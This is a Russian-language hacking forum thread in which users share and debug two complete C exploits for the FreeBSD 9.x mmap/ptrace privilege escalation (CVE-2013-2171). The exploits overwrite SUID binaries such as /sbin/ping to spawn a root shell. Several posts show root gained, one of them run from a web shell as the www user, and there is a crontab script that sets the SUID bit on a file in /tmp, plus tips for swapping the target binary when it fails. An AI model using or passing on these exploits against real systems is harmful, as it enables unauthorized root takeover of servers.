Старый 19.06.2013, 11:31   #11
snake
 
Регистрация: 05.07.2010
Сообщений: 173
Репутация: 12
По умолчанию

Цитата:
9.1-RELEASE FreeBSD 9.1-RELEASE #0 r243825: Tue Dec 4 09:23:10 UTC 2012 root@farrell.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC amd64
./a.out
writing shellcode...
done.
id
uid=80(www) gid=80(www) groups=80(www)

непонятно и кронтаб пустой.
еще один:
/etc/crontab
* * * * * root /tmp/boo.sh

cat /tmp/boo.sh
#!/bin/sh
chown 0:0 /tmp/suid
chmod +s /tmp/suid

и ничего..вроде ничего не забыл?+х на /tmp/boo.sh стоит.

dos2unix не забыл.

Последний раз редактировалось snake; 19.06.2013 в 12:14..
snake вне форума   Ответить с цитированием
Старый 19.06.2013, 12:29   #12
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

snake
Смени /bin/sh на /bin/tcsh.

Там, где не работало с crontab, просьба проверить, добавив перед строкой "ptrace(PT_ATTACH, pid, 0, 0);" две строки:
munmap(addr, 4096);
close(fd);


Вышла версия для суидника (http://pastebin.com/mvrVAtJw):
Код:
	

    /**
     * FreeBSD privilege escalation CVE-2013-2171 (credits Konstantin Belousov & Alan Cox)
     *
     * tested on FreeBSD 9.1
     * ref: http://www.freebsd.org/security/advisories/FreeBSD-SA-13:06.mmap.asc
     *
     * @_hugsy_
     *
     * Syntax :
     $ id
     uid=1001(user) gid=1001(user) groups=1001(user)
     $ gcc -Wall ./mmap.c && ./a.out
     [+] Saved old '/sbin/ping'
     [+] Using mmap-ed area at 0x281a4000
     [+] Attached to 3404
     [+] Copied 4917 bytes of payload to '/sbin/ping'
     [+] Triggering payload
     # id
     uid=0(root) gid=0(wheel) egid=1001(user) groups=1001(user),0(wheel)
     *
     * Note : TARGET (default /sbin/ping) will lose its SUID bit on restore, must be restored by hand
     *
     */
    #include <sys/mman.h>
    #include <sys/types.h>
    #include <sys/ptrace.h>
    #include <sys/wait.h>
    #include <sys/stat.h>
    #include <unistd.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <fcntl.h>
    #include <string.h>
    #include <errno.h>
     
    #define LEN    1000*getpagesize()
    #define TARGET "/sbin/ping"  // will lose its SUID bit on restore, must be restored by hand
     
    void kaboom(int pid, caddr_t addr)
    {
            int nb, i, a, fd, n;
            char buf[60000] = {0,};
           
            a = i = 0;     
            fd = open(TARGET, O_RDONLY);
            nb = read(fd, buf, 60000);
            close(fd);
            printf("[+] Saved old '%s'\n", TARGET);
            printf("[+] Using mmap-ed area at %p\n", addr);
           
            if (ptrace(PT_ATTACH, pid, 0, 0) < 0) {
                    perror("[-] ptrace(PT_ATTACH) failed");
                    return;
            }
            printf("[+] Attached to %d\n", pid);
            wait(NULL);
           
            fd = open("./sc.c", O_WRONLY|O_CREAT,  S_IRUSR|S_IWUSR|S_IRGRP|S_IWGRP|S_IROTH);
            write(fd, "#include <stdio.h>\nmain(){ char* s[]={\"/bin/sh\",NULL};setuid(0);execve(s[0],s,0); }\n",84);
            close(fd);
            if (system("gcc -o ./sc ./sc.c") != 0) {
                    perror("[-] gcc");
                    return;
            }
           
            fd = open("./sc", O_RDONLY);   
            while (1) {
                    int a;
                    int n = read(fd, &a, sizeof(int));
                    if (n <= 0)
                            break;
                   
                    if (ptrace(PT_WRITE_D, pid, addr+i, a) < 0) {
                            perror("[-] ptrace(PT_WRITE_D) failed");
                            return;
                    }
                   
                    i+=n;
            }      
            close(fd);
            printf("[+] Copied %d bytes of payload to '%s'\n", i, TARGET);
           
            printf("[+] Triggering payload\n");
            system(TARGET);
            printf("[+] Restoring '%s'\n", TARGET);
           
            for (n=0, i=0; n<nb; n++) {
                    if (ptrace(PT_WRITE_D, pid, addr+n, *(buf+n)) < 0) {
                            perror("[-] ptrace(PT_WRITE_D) failed");
                            return;
                    }                                                      
            }
            ptrace(PT_DETACH, pid, 0, 0);
            printf("[+] Done\n");
           
            return;
    }
     
    void dummy(int fd, caddr_t addr)
    {
            sleep(1);
        munmap(addr, LEN);
        close(fd); 
            return;
    }
     
    int main(int argc, char** argv, char** envp)
    {
            int fd = open(TARGET, O_RDONLY);
            caddr_t addr = mmap(NULL, LEN, PROT_READ, MAP_SHARED, fd, 0);
       
            pid_t forked_pid = fork();
            switch(forked_pid) {
                    case -1:
                            return -1;
                    case 0:
                            dummy(fd, addr);
                            break;
                    default:
                            munmap(addr, LEN);
                        close(fd);
                       
                            kaboom(forked_pid, addr);
                            wait(NULL);
                            break;
            }
     
            return 0;
    }

Последний раз редактировалось SynQ; 19.06.2013 в 12:38..
SynQ вне форума   Ответить с цитированием
Старый 19.06.2013, 13:45   #13
Tim
 
Аватар для Tim
 
Регистрация: 24.03.2011
Сообщений: 59
Репутация: 3
По умолчанию

Цитата:
Сообщение от SynQ Посмотреть сообщение
Вышла версия для суидника (http://pastebin.com/mvrVAtJw):
Работает
Цитата:
$ ./a.out
id
uid=0(root) gid=0(wheel) egid=80(www) groups=80(www)
uname -a
FreeBSD DS1424 9.0-RELEASE-p5 FreeBSD 9.0-RELEASE-p5 #1: Fri Jan 25 07:15:28 UTC 2013 root@DS2012:/usr/obj/usr/src/sys/Z-AMD64 amd64
Tim вне форума   Ответить с цитированием
Старый 20.06.2013, 03:29   #14
12309
 
Регистрация: 25.12.2011
Сообщений: 265
Репутация: 33
По умолчанию

еще один сплоент для суидника
Код:
/*
 * FreeBSD 9.{0,1} mmap/ptrace exploit
 * by Hunger <fbsd9lul@hunger.hu>
 *
 * Happy Birthday FreeBSD!
 * Now you are 20 years old and your security is the same as 20 years ago... :)
 *
 * Greetings to #nohup, _2501, boldi, eax, johnny_b, kocka, op, pipacs, prof,
 *              sd, sghctoma, snq, spender, s2crew and others at #hekkcamp:
 *                      I hope we'll meet again at 8@1470n ;)
 *
 * Special thanks to proactivesec.com
 *
 */

#include <err.h>
#include <errno.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/ptrace.h>
#include <sys/wait.h>

#define SH "/bin/sh"
#define TG "/usr/sbin/timedc"

int
main(int ac, char **av) {
   int from_fd, to_fd, status;
   struct stat st;
   struct ptrace_io_desc piod;
   char *s, *d;
   pid_t pid;

   if (geteuid() == 0)  {
        setuid(0);
        execl(SH, SH, NULL);
        return 0;
   }

   printf("FreeBSD 9.{0,1} mmap/ptrace exploit\n");
   printf("by Hunger <fbsd9lul@hunger.hu>\n");

   if ((from_fd = open(av[0], O_RDONLY)) == -1 ||
        (to_fd = open(TG, O_RDONLY)) == -1)
                err(1, "open");

   if (stat(av[0], &st) == -1)
        err(2, "stat");

   if (((s = mmap(NULL, (size_t)st.st_size, PROT_READ,
        MAP_SHARED, from_fd, (off_t)0)) == MAP_FAILED) ||
                (d = mmap(NULL, (size_t)st.st_size, PROT_READ,
                        MAP_SHARED|MAP_NOSYNC, to_fd, (off_t)0)) == MAP_FAILED)
                                err(3, "mmap");

   if ((pid = fork()) == -1)
        err(4, "fork");

   if (!pid) {
        if (ptrace(PT_TRACE_ME, pid, NULL, 0) == -1)
                err(5, "ptraceme");

        return 0;
        }

   if (ptrace(PT_ATTACH, pid, NULL, 0) == -1)
        err(6, "ptattach");

   if (wait(&status) == -1)
        err(7, "wait");

   piod.piod_op = PIOD_WRITE_D;
   piod.piod_offs = d;
   piod.piod_addr = s;
   piod.piod_len  = st.st_size;

   if (ptrace(PT_IO, pid, (caddr_t)&piod, 0) == -1)
        err(8, "ptio");

   execl(TG, TG, NULL);

   return 0;
}
12309 вне форума   Ответить с цитированием
Старый 11.04.2014, 13:33   #15
ewi
 
Регистрация: 02.04.2014
Сообщений: 75
Репутация: 2
По умолчанию

легко

Код:
9.1-STABLE FreeBSD 9.1-STABLE #0 r61: Mon Apr 22 14:16:33

uid=0(root) gid=0(wheel) egid=1004(***) groups=1004(***),1001(mgrsecure)
ewi вне форума   Ответить с цитированием
Старый 26.05.2014, 22:42   #16
Ravenous
 
Аватар для Ravenous
 
Регистрация: 14.07.2012
Сообщений: 64
Репутация: 1
Unhappy

Цитата:
Вышла версия для суидника (http://pastebin.com/mvrVAtJw):
Запущено с cmd веб-шелла
Цитата:
[+] Saved old '/sbin/ping'
[+] Using mmap-ed area at 0x800b90000
[+] Attached to 73045
[+] Copied 6595 bytes of payload to '/sbin/ping'
[+] Triggering payload [+] Restoring '/sbin/ping'
[+] Done
В дире создался sc и sc.c. без суидного бита, и при запуске ничего не выводящий и не на чего не реагирующий.

FreeBSD 9.0-RELEASE-p3 : Jul 13 CEST 2012 amd64

/sbin/ping поменялась дата модификации

в fstab и mount не пишет nosuid

Последний раз редактировалось Ravenous; 26.05.2014 в 22:50..
Ravenous вне форума   Ответить с цитированием
Старый 05.06.2014, 13:12   #17
madhatter
 
Регистрация: 11.01.2014
Сообщений: 86
Репутация: 1
По умолчанию

FreeBSD 9.0-STABLE FreeBSD 9.0-STABLE #7: 2012
Не взлетел:
Код:
$ gcc -Wall ./mmap.c && ./a.out
./mmap.c:129:6: warning: no newline at end of file
[+] Saved old '/sbin/ping'
[+] Using mmap-ed area at 0x20b6f000
[-] ptrace(PT_ATTACH) failed: Operation not permitted
madhatter вне форума   Ответить с цитированием
Старый 31.10.2015, 23:29   #18
Tim
 
Аватар для Tim
 
Регистрация: 24.03.2011
Сообщений: 59
Репутация: 3
По умолчанию

Цитата:
Сообщение от Ravenous Посмотреть сообщение
Запущено с cmd веб-шелла

В дире создался sc и sc.c. без суидного бита, и при запуске ничего не выводящий и не на чего не реагирующий.

FreeBSD 9.0-RELEASE-p3 : Jul 13 CEST 2012 amd64

/sbin/ping поменялась дата модификации

в fstab и mount не пишет nosuid
Причина подобного lose its SUID. В описании подсказка:
Цитата:
Note : TARGET (default /sbin/ping) will lose its SUID bit on restore, must be restored by hand
Решение:
поменять таргет
Цитата:
#define TARGET "/sbin/ping6"

Последний раз редактировалось Tim; 31.10.2015 в 23:32..
Tim вне форума   Ответить с цитированием
Ответ

Метки
exploits, freebsd, privilege escalation

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot